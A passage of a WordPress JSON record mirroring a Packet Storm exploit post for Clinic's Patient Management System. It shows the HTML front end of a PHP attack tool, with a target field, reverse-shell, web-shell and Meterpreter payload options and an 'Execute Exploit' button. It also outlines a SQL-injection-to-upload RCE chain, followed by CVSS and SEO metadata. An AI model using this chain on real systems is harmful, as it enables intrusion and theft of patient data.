.info-box {\\n                        background: #d1ecf1;\\n                        border: 1px solid #bee5eb;\\n                        color: #0c5460;\\n                        padding: 15px;\\n                        border-radius: 4px;\\n                        margin: 20px 0;\\n                    }\\n                \\u003c\/style\\u003e\\n            \\u003c\/head\\u003e\\n            \\u003cbody\\u003e\\n                \\u003cdiv class=\\&#8221;container\\&#8221;\\u003e\\n                    \\u003ch1\\u003eClinic Patient Management System RCE\\u003c\/h1\\u003e\\n                    \\u003ch3\\u003eCVE-2022-2297 \\u0026 CVE-2025-3096 &#8211; SQLi to RCE\\u003c\/h3\\u003e\\n                    \\n                    \\u003cdiv class=\\&#8221;warning-box\\&#8221;\\u003e\\n                        \\u003cstrong\\u003e\u26a0\ufe0f Educational Use Only:\\u003c\/strong\\u003e This tool demonstrates critical vulnerabilities in Clinic PMS.\\n                        Use only on systems you own or have explicit permission to test.\\n                    \\u003c\/div\\u003e\\n                    \\n                    \\u003cform method=\\&#8221;post\\&#8221;\\u003e\\n                        \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                            \\u003clabel for=\\&#8221;target\\&#8221;\\u003eTarget Host:\\u003c\/label\\u003e\\n                            \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;target\\&#8221; name=\\&#8221;target\\&#8221; placeholder=\\&#8221;192.168.1.100 or clinic.example.com\\&#8221; required\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                            \\u003clabel for=\\&#8221;port\\&#8221;\\u003ePort:\\u003c\/label\\u003e\\n                            \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;port\\&#8221; name=\\&#8221;port\\&#8221; value=\\&#8221;80\\&#8221;\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                            \\u003clabel for=\\&#8221;uri\\&#8221;\\u003eBase URI:\\u003c\/label\\u003e\\n                            \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;uri\\&#8221; name=\\&#8221;uri\\&#8221; value=\\&#8221;\/pms\/\\&#8221;\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                            \\u003cdiv class=\\&#8221;checkbox-group\\&#8221;\\u003e\\n                                \\u003cinput type=\\&#8221;checkbox\\&#8221; id=\\&#8221;ssl\\&#8221; name=\\&#8221;ssl\\&#8221;\\u003e\\n                                \\u003clabel for=\\&#8221;ssl\\&#8221; style=\\&#8221;display: inline; font-weight: normal;\\&#8221;\\u003eUse SSL\\u003c\/label\\u003e\\n                            \\u003c\/div\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                            \\u003clabel for=\\&#8221;payload_type\\&#8221;\\u003ePayload Type:\\u003c\/label\\u003e\\n                            \\u003cselect id=\\&#8221;payload_type\\&#8221; name=\\&#8221;payload_type\\&#8221;\\u003e\\n                                \\u003coption value=\\&#8221;cmd\\&#8221;\\u003eCommand Shell\\u003c\/option\\u003e\\n                                \\u003coption value=\\&#8221;reverse_shell\\&#8221;\\u003eReverse Shell\\u003c\/option\\u003e\\n                                \\u003coption value=\\&#8221;web_shell\\&#8221;\\u003eWeb Shell\\u003c\/option\\u003e\\n                                \\u003coption value=\\&#8221;meterpreter\\&#8221;\\u003eMeterpreter\\u003c\/option\\u003e\\n                            \\u003c\/select\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                            \\u003clabel for=\\&#8221;lhost\\&#8221;\\u003eListener Host (for reverse shell):\\u003c\/label\\u003e\\n                            \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;lhost\\&#8221; name=\\&#8221;lhost\\&#8221; placeholder=\\&#8221;Your IP address: 192.168.1.100\\&#8221;\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                            \\u003clabel for=\\&#8221;lport\\&#8221;\\u003eListener Port (for reverse shell):\\u003c\/label\\u003e\\n                            \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;lport\\&#8221; name=\\&#8221;lport\\&#8221; value=\\&#8221;4444\\&#8221;\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cbutton type=\\&#8221;submit\\&#8221; name=\\&#8221;action\\&#8221; value=\\&#8221;check\\&#8221; class=\\&#8221;info\\&#8221;\\u003eCheck Vulnerability\\u003c\/button\\u003e\\n                        \\u003cbutton type=\\&#8221;submit\\&#8221; name=\\&#8221;action\\&#8221; value=\\&#8221;exploit\\&#8221; class=\\&#8221;danger\\&#8221;\\u003eExecute Exploit\\u003c\/button\\u003e\\n                    \\u003c\/form\\u003e\\n                    \\n                    \\u003cdiv class=\\&#8221;info-box\\&#8221;\\u003e\\n                        \\u003ch3\\u003eAbout the CVEs:\\u003c\/h3\\u003e\\n                        \\u003cp\\u003e\\u003cstrong\\u003eCVE-2022-2297:\\u003c\/strong\\u003e SQL Injection in login portal\\u003c\/p\\u003e\\n                        \\u003cp\\u003e\\u003cstrong\\u003eCVE-2025-3096:\\u003c\/strong\\u003e File upload vulnerability in user profile\\u003c\/p\\u003e\\n                        \\u003cp\\u003e\\u003cstrong\\u003eAffected:\\u003c\/strong\\u003e Clinic Patient Management System 1.0\/2.0\\u003c\/p\\u003e\\n                        \\u003cp\\u003e\\u003cstrong\\u003eAuthentication:\\u003c\/strong\\u003e None required (SQL injection bypass)\\u003c\/p\\u003e\\n                        \\u003cp\\u003e\\u003cstrong\\u003eImpact:\\u003c\/strong\\u003e Remote Code Execution\\u003c\/p\\u003e\\n                        \\u003cp\\u003e\\u003cstrong\\u003eExploit Chain:\\u003c\/strong\\u003e SQL Injection \u2192 Admin Login \u2192 File Upload \u2192 RCE\\u003c\/p\\u003e\\n                    \\u003c\/div\\u003e\\n                \\u003c\/div\\u003e\\n            \\u003c\/body\\u003e\\n            \\u003c\/html\\u003e&#8217;;\\n        }\\n    }\\n    ?\\u003e\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212664&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.3,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:N\/VI:H\/SI:N\/VA:N\/SA:N&#8221;,&#8221;version&#8221;:&#8221;4.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212664\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-10T17:38:49&#8243;,&#8221;description&#8221;:&#8221;Clinic&#8217;s Patient Management System version 2.0 proof of concept that combines SQL injection authentication bypass with an unrestricted file upload to achieve full compromise&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Clinic&#8217;s&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,55,12,13,53,7,11,5],"class_list":["post-30058","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-93","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Clinic&#039;s Patient Management System 2.0 Remote Code Execution_PACKETSTORM:212664 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=30058\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Clinic&#039;s Patient Management System 2.0 Remote Code Execution_PACKETSTORM:212664 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-10T17:38:49&#8243;,&#8221;description&#8221;:&#8221;Clinic&#8217;s Patient Management System version 2.0 proof of concept that combines SQL injection authentication bypass with an unrestricted file upload to achieve full compromise&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Clinic&#8217;s...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=30058\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-10T12:52:27+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"19 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30058#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30058\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Clinic&#8217;s Patient Management System 2.0 Remote Code Execution_PACKETSTORM:212664\",\"datePublished\":\"2025-12-10T12:52:27+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30058\"},\"wordCount\":3729,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.3\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=30058#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30058\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30058\",\"name\":\"\ud83d\udcc4 Clinic's Patient Management System 2.0 Remote Code Execution_PACKETSTORM:212664 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-10T12:52:27+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30058#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=30058\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30058#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Clinic&#8217;s Patient Management System 2.0 Remote Code Execution_PACKETSTORM:212664\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Clinic's Patient Management System 2.0 Remote Code Execution_PACKETSTORM:212664 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=30058","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Clinic's Patient Management System 2.0 Remote Code Execution_PACKETSTORM:212664 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-10T17:38:49&#8243;,&#8221;description&#8221;:&#8221;Clinic&#8217;s Patient Management System version 2.0 proof of concept that combines SQL injection authentication bypass with an unrestricted file upload to achieve full compromise&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Clinic&#8217;s...","og_url":"https:\/\/zero.redgem.net\/?p=30058","og_site_name":"zero redgem","article_published_time":"2025-12-10T12:52:27+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"19 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=30058#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=30058"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Clinic&#8217;s Patient Management System 2.0 Remote Code Execution_PACKETSTORM:212664","datePublished":"2025-12-10T12:52:27+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=30058"},"wordCount":3729,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.3","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=30058#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=30058","url":"https:\/\/zero.redgem.net\/?p=30058","name":"\ud83d\udcc4 Clinic's Patient Management System 2.0 Remote Code Execution_PACKETSTORM:212664 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-10T12:52:27+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=30058#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=30058"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=30058#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Clinic&#8217;s Patient Management System 2.0 Remote Code Execution_PACKETSTORM:212664"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/30058","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=30058"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/30058\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=30058"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=30058"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=30058"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}